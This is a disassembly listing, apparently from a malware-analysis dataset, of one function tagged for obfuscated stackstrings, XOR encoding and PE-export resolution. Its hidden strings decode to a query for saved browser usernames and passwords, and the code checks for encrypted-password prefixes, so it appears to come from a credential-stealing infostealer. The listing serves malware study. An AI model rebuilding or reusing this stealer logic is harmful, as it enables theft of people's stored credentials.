Function at 0x4119e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1a8
push ebx
push ebp
push esi
mov ebx, edx
mov dword [esp + 0x20], ecx
push edi
mov dword [esp + 0xc0], ebx
call fcn.00419db5
mov esi, eax
test esi, esi
je 0x4120f3
push 0x48
mov dword [esp + 0x14], 0xa4bbb46d
xor ecx, ecx
mov dword [esp + 0x18], 0xb1afb794
mov dword [esp + 0x1c], 0xa98c68b6
mov word [esp + 0x20], 0xa9bc
pop edi
movzx eax, byte [esp + ecx + 0x10]
mov edx, 0xff
sub ax, di
and ax, dx
mov word [esp + ecx*2 + 0x134], ax
inc ecx
cmp ecx, 0xe
jl 0x411a2a
xor eax, eax
mov word [esp + 0x150], ax
lea eax, [esp + 0x134]
push ebx
push eax
call fcn.0041b96a
mov ebx, eax
mov dword [esp + 0xcc], ebx
pop ecx
pop ecx
test ebx, ebx
je 0x4120f3
mov ecx, ebx
call fcn.0041b9c4
mov ebp, eax
test ebp, ebp
je 0x4120ec
xor edx, edx
mov ecx, ebp
call fcn.0041bc30
mov edi, eax
mov dword [esp + 0xc8], edi
test edi, edi
je 0x4120d5
push 0
push 1
lea eax, [esp + 0xd4]
push eax
push edi
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x4120c3
mov dword [esp + 0x34], 0x62686f40
mov dword [esp + 0x38], 0x746e6526
mov dword [esp + 0x3c], 0x736f6b69
mov dword [esp + 0x40], 0x696a266b
mov dword [esp + 0x44], 0x26686f61
mov dword [esp + 0x48], 0x67726762
mov dword [esp + 0x4c], 0x26646226
mov dword [esp + 0x50], 0xc756a23
movups xmm0, xmmword [esp + eax + 0x34]
pxor xmm0, xmmword [0x420f90]
movups xmmword [esp + eax + 0x154], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x411af9
push 0x48
pop eax
mov byte [esp + 0x174], 0
xor ecx, ecx
mov dword [esp + 0x80], 0x525b5244
mov dword [esp + 0x84], 0x78374354
mov dword [esp + 0x88], 0x7e707e65
mov byte [esp + 0x8c], 0x79
mov byte [esp + 0x8d], al
mov dword [esp + 0x8e], 0x3b7b6562
mov dword [esp + 0x92], 0x72646237
mov dword [esp + 0x96], 0x7a767965
mov byte [esp + 0x9a], 0x72
mov byte [esp + 0x9b], al
mov dword [esp + 0x9c], 0x627b7661
mov dword [esp + 0xa0], 0x67373b72
mov dword [esp + 0xa4], 0x60646476
mov word [esp + 0xa8], 0x6578
mov byte [esp + 0xaa], 0x73
mov byte [esp + 0xab], al
mov dword [esp + 0xac], 0x627b7661
mov dword [esp + 0xb0], 0x45513772
mov dword [esp + 0xb4], 0x7b375a58
mov dword [esp + 0xb8], 0x797e7078
mov byte [esp + 0xbc], 0x64
mov al, byte [esp + ecx + 0x80]
xor al, 0x17
mov byte [esp + ecx + 0x178], al
inc ecx
cmp ecx, 0x3d
jl 0x411bf1
lea eax, [esp + 0x154]
mov byte [esp + 0x1b5], 0
push ebx
push eax
call fcn.00412606
push 0
lea eax, [esp + 0x2c]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x18c]
push eax
push dword [esp + 0xe4]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x4120bb
push dword [esp + 0x20]
lea edi, [esp + 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x411f69
mov ebx, dword [esp + 0x24]
mov dword [esp + 0x2c], 0xbdcfd5d8
mov byte [esp + 0x30], 0xa3
mov dword [esp + 0x64], 0x2f095651
mov dword [esp + 0x68], 0x3d322e39
mov dword [esp + 0x6c], 0x7c663931
mov dword [esp + 0x10], 0x4938f2f5
mov dword [esp + 0x14], 0x575f5b5b
mov dword [esp + 0x18], 0x8224c5a
mov dword [esp + 0x70], 0x78491215
mov dword [esp + 0x74], 0x6b717478
mov dword [esp + 0x78], 0x77717c69
mov word [esp + 0x7c], 0x4276
mov byte [esp + 0x7e], 0x28
xor edx, edx
mov ecx, edx
mov al, byte [esp + ecx + 0x2c]
add al, 0x7d
mov byte [esp + ecx + 0xd0], al
inc ecx
cmp ecx, 5
jl 0x411cc4
mov byte [esp + 0xd5], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x64]
xor al, 0x5c
mov byte [esp + ecx + 0xf0], al
inc ecx
cmp ecx, 0xc
jl 0x411ce0
mov byte [esp + 0xfc], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x10]
add al, 0x18
mov byte [esp + ecx + 0x100], al
inc ecx
cmp ecx, 0xc
jl 0x411cfc
mov byte [esp + 0x10c], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x70]
sub al, 8
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, 0xf
jl 0x411d18
mov byte [esp + 0x11f], dl
mov ecx, edx
mov word [esp + 0x28], 0x5f
mov dword [esp + 0x34], 0xbfbf8c8f
mov dword [esp + 0x38], 0xbfbfbfbf
mov dword [esp + 0x3c], 0xbfbfbfbf
mov dword [esp + 0x40], 0xbfbfbfbf
mov word [esp + 0x44], 0x8fbf
mov byte [esp + 0x46], 0x8c
mov al, byte [esp + ecx + 0x34]
add al, 0x7e
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 0x13
jl 0x411d67
lea eax, [esp + 0xd0]
mov byte [esp + 0x133], dl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0xd4]
lea ecx, [esp + 0x58]
call fcn.0041baad
pop ecx
push 0
push dword [esp + 0x24]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 0
push dword [esp + 0x28]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0xf0]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0xf4]
lea ecx, [esp + 0x58]
call fcn.0041baad
pop ecx
push 1
push dword [esp + 0x24]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x28]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x100]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x104]
lea ecx, [esp + 0x58]
call fcn.0041baad
pop ecx
push 2
push dword [esp + 0x24]
call dword [esi + 0x14]
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x411edc
push 2
push dword [esp + 0x24]
call dword [esi + 0x20]
cmp byte [edi], 0x76
mov edx, eax
pop ecx
pop ecx
jne 0x411e8c
cmp byte [edi + 1], 0x31
lea eax, [edi + 2]
jne 0x411e8c
cmp byte [eax], 0x30
je 0x411e61
cmp byte [eax], 0x31
jne 0x411e8c
lea eax, [esp + 0x24]
mov ecx, edi
push eax
call fcn.0040f87c
mov edi, eax
pop ecx
test edi, edi
je 0x411edc
push dword [esp + 0x24]
mov edx, edi
lea ecx, [esp + 0x58]
call fcn.0041baad
pop ecx
push edi
call fcn.004056f0
jmp 0x411edb
lea eax, [esp + 0xe8]
mov dword [esp + 0xe0], edx
push eax
xor eax, eax
mov dword [esp + 0xe8], edi
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0xf8]
mov edx, 0xbedfd981
push eax
push 3
pop ecx
call fcn.00412cbc
call eax
test eax, eax
je 0x411edc
push dword [esp + 0xe8]
mov edx, dword [esp + 0xf0]
lea ecx, [esp + 0x58]
call fcn.0041baad
pop ecx
lea eax, [esp + 0x110]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x114]
lea ecx, [esp + 0x58]
call fcn.0041baad
pop ecx
mov edx, ebx
lea ecx, [esp + 0x54]
call fcn.0041b934
lea eax, [esp + 0x28]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x58]
call fcn.0041baad
mov edx, dword [esp + 0x1c0]
pop ecx
lea ecx, [esp + 0x54]
call fcn.0041b934
lea eax, [esp + 0x120]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x124]
lea ecx, [esp + 0x58]
call fcn.0041baad
pop ecx
push dword [esp + 0x20]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x411cc0
mov ebx, dword [esp + 0xc4]
cmp dword [esp + 0x54], 0
je 0x4120b4
mov dword [esp + 0x10], 0xb7b7a594
xor ecx, ecx
mov dword [esp + 0x14], 0xa0b6abb3
mov dword [esp + 0x18], 0xbcb0eab7
mov byte [esp + 0x1c], 0xb0
mov al, byte [esp + ecx + 0x10]
xor al, 0xc4
movzx eax, al
mov word [esp + ecx*2 + 0x34], ax
inc ecx
cmp ecx, 0xd
jl 0x411f93
mov ecx, dword [esp + 0xc0]
lea edx, [esp + 0x24]
xor eax, eax
mov word [esp + 0x4e], ax
call fcn.004120fe
mov edi, eax
test edi, edi
je 0x412097
mov edx, dword [esp + 0x24]
lea eax, [esp + 0xc0]
push eax
mov ecx, edi
call fcn.0040f87c
mov ebx, eax
pop ecx
test ebx, ebx
je 0x412089
mov dword [esp + 0x2c], 0x2309c8cb
xor ecx, ecx
mov word [esp + 0x30], 0xf837
mov byte [esp + 0x32], 0xde
mov al, byte [esp + ecx + 0x2c]
add al, 0x42
mov byte [esp + ecx + 0xd8], al
inc ecx
cmp ecx, 7
jl 0x411ffc
mov byte [esp + 0xdf], 0
xor ecx, ecx
mov word [esp + 0x24], 0x282b
mov al, byte [esp + ecx + 0x24]
sub al, 0x1e
mov byte [esp + ecx + 0x60], al
inc ecx
cmp ecx, 2
jl 0x412020
lea eax, [esp + 0xd8]
mov byte [esp + 0x62], 0
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0xdc]
lea ecx, [esp + 0x58]
call fcn.0041baad
pop ecx
push dword [esp + 0xc0]
mov edx, ebx
lea ecx, [esp + 0x58]
call fcn.0041baad
pop ecx
lea eax, [esp + 0x60]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x64]
lea ecx, [esp + 0x58]
call fcn.0041baad
pop ecx
push ebx
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
mov ebx, dword [esp + 0xc8]
pop ecx
mov edx, dword [esp + 0x5c]
lea eax, [esp + 0x34]
mov ecx, dword [esp + 0x54]
push eax
call fcn.00418de4
pop ecx
push dword [esp + 0x54]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0xc8]
push dword [esp + 0x20]
call dword [esi + 0x18]
pop ecx
push dword [esp + 0xcc]
call dword [esi + 0x1c]
pop ecx
push edi
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412cbc
call eax
push ebp
call fcn.004056f0
pop ecx
push ebx
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret